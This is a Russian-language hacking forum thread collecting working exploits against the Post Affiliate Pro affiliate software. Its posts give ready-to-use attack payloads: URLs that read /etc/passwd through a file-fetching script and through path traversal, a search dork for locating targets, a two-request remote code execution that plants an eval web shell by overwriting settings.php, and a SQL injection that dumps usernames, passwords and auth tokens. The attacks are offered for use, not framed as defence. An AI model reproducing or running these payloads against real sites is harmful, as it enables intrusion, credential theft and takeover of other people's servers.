Старый 23.08.2010, 13:23   #1
asddas
 
Аватар для asddas
 
Регистрация: 04.08.2010
Сообщений: 153
Репутация: 161
По умолчанию Post Affiliate Pro

Продукт: Post Affiliate Pro 3.0.7 <= 3.1.6 Remote File Disclosure Vulnerability
Офф сайт: www.qualityunit.com
Зависимости: Нет
Уязвимые файлы: /scripts/showPop.php
Уязвимый кусок кода:

Файл /scripts/showPop.php:
PHP код:
if(isset($_REQUEST['special']) && $_REQUEST['special'] == '1')
{

    if(
$_REQUEST['banner_content'] == '' || $_REQUEST['impression_content'] == '' 
       
|| $_REQUEST['clickurl'] == '') return;

    
$ch curl_init();
    
curl_setopt($chCURLOPT_URL$_REQUEST['banner_content']);
    
curl_setopt($chCURLOPT_FOLLOWLOCATION1);
    
curl_setopt($chCURLOPT_RETURNTRANSFER1);
    
$content curl_exec($ch);

. . . .

    echo 
$content;

?> 

Exploit:
http://localhost/affiliatepro/scripts/showPop.php?special=1&banner_content=file:///etc/passwd&impression_content=image&clickurl=image

Dork:
"Affiliate software by QualityUnit"
asddas вне форума   Ответить с цитированием
Старый 27.08.2016, 23:46   #2
crlf
 
Аватар для crlf
 
Регистрация: 29.09.2015
Сообщений: 101
Репутация: 17
По умолчанию

Remote File Disclosure

Цитата:
http://site.com/affiliates/scripts/file.php?file=/.....///.....///.....///.....///.....///.....///.....///.....///.....///etc/passwd
Диапазона версий не знаю, точно работало на версии PAP version: 5.5.0.4, GPF version: 1.3.36.0, возможно бага есть и в других версиях. Исходник исследовал очень древний 4.5.83.1, там даже этого файла нет Но зато есть функции подобные этой:

PHP код:
    private function sanitizeFileName($fileName) {
        
$fileName str_replace('../'''$fileName);
        
$fileName str_replace('..\\'''$fileName);

        
$fileName str_replace('.\\'''$fileName);
        
$fileName str_replace('./'''$fileName);

        return 
$fileName;
    } 
Судя по .htaccess это используется для чтения файлов:

Код:
# Start Post Affiliate Pro Code
Options -Indexes

<ifModule mod_rewrite.c>

RewriteEngine on
#replicated sites
RewriteRule ^sites/([^/]+)/([^/]+)/(.*) scripts/page.php?a_aid=$2&a_bid=$1&a_file=$3 [L,QSA]
RewriteRule ^sites/([^/]+)/*(.*) scripts/page.php?a_aid=$2&a_bid=$1&a_redir=Y [L,QSA]
RewriteRule ^accounts/default1/files/(.*) scripts/file.php?file=files/$1 [L,QSA]
RewriteRule ^accounts/default1/banners/(.*) scripts/file.php?file=banners/$1 [L,QSA]

#accessing non-tpl theme files
RewriteRule ^accounts/default1/themes/(.*) scripts/file.php?file=themes/$1 [L,QSA]

</ifModule>

Версию скрипта смотрел так:

Цитата:
http://site.com/affiliates/api/download.php

Последний раз редактировалось crlf; 27.08.2016 в 23:53..
crlf вне форума   Ответить с цитированием
Старый 03.09.2016, 16:24   #3
SynQ
 
Регистрация: 11.07.2010
Сообщений: 953
Репутация: 352
По умолчанию

Свежее:
https://www.bugbountyhq.com/front/la...1cXQrSFZmUT09/
SynQ вне форума   Ответить с цитированием
Старый 05.09.2016, 23:26   #4
crlf
 
Аватар для crlf
 
Регистрация: 29.09.2015
Сообщений: 101
Репутация: 17
По умолчанию

Remote Code Execution

4.5.83.1 и 5.5.0.4 уязвимы точно. Возможно как выше, так и ниже. Нужно отправить два запроса:

Цитата:
POST /affiliates/scripts/server.php HTTP/1.1
Host: site.com
User-Agent: Mozilla/5.0
Content-Type: application/x-www-form-urlencoded

D={"C":"Gpf_Rpc_Server", "M":"run", "requests":[{"C":"Gpf_Install_CreateDatabase", "M":"goNext", "fields":[["name","value"],["Id",""],["Hostname","HOST"],["Username","USER"],["Password","*/eval($_REQUEST[rce]);/*"],["Dbname","DB"]]}], "S":"SESSIONID"}
HOST - хост с открытой MySQL
USER - пользователь для подключения к MySQL с паролем */eval($_REQUEST[rce]);/*
DB - база данных
SESSIONID - любая активная сессия на site.com

Веб-шелл будет по адресу:
Цитата:
http://site.com/affiliates/accounts/settings.php?rce=phpinfo();
Файл конфигурации settings.php при этом перезапишется и приложение не будет работать!

Если, по каким-то причинам, на settings.php не хватает прав (по дефолту хватает), то при старых версиях PHP остаётся возможность читать файлы.
crlf вне форума   Ответить с цитированием
Старый 11.10.2016, 12:51   #5
crlf
 
Аватар для crlf
 
Регистрация: 29.09.2015
Сообщений: 101
Репутация: 17
По умолчанию

Remote System Information Disclosure

Копаясь в свежих версиях продукта обнаружил, что разрабы положили болт на GNU GPL. В ПО встроен закодированный кубом phpSysInfo, который торчит наружу для всех желающих Доступной информации не очень много, но лучше чем совсем ничего.

"Плагин" точно присутствует в версии 5.5.10.1, возможно выше/ниже.

Цитата:
http://site.com/affiliates/plugins/SysInfo/phpsysinfo/index.php?disp=dynamic
Версия phpSysInfo - 3.0-rc6, баг с локальным инклудом языковых xml пропатчен (или это был фейк).
crlf вне форума   Ответить с цитированием
Старый 17.12.2016, 20:31   #6
crlf
 
Аватар для crlf
 
Регистрация: 29.09.2015
Сообщений: 101
Репутация: 17
По умолчанию

SQL Injection < 5.5.16.3

Код:
POST /affiliates/scripts/server.php HTTP/1.1
Host: site.com
User-Agent: Mozilla/5.0
Content-Type: application/x-www-form-urlencoded

D={"C":"Gpf_Rpc_Server", "M":"run", "requests":[{"C":"Pap_Merchants_Campaign_AffChannelSearchRichListBox", "M":"load","id":"cachedRequest","maxCachedCount":"a","from":"s","s":"z","rowsPerPage":"1 UNION SELECT concat_ws(0x3a,authid,username,rpassword,firstname,lastname,authtoken,notificationemail,ip),2 FROM qu_g_authusers -- 1"}], "S":"SESSIONID"}
Pap_Features_AffiliateNetwork_AccountsRichListBox без зависимостей, но AffiliateNetwork это дополнение, присутствует не всегда
Pap_Merchants_Campaign_AffChannelSearchRichListBox нужнен аккаунт аффилейта
SESSIONID - активная сессия на site.com

В зависимости от версии количество колонок может быть другим.
crlf вне форума   Ответить с цитированием
Ответ

Опции темы Поиск в этой теме
Поиск в этой теме:

Расширенный поиск
Опции просмотра

Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.

Быстрый переход



Powered by vBulletin® Version 3.8.5
Copyright ©2000 - 2019, Jelsoft Enterprises Ltd. Перевод: zCarot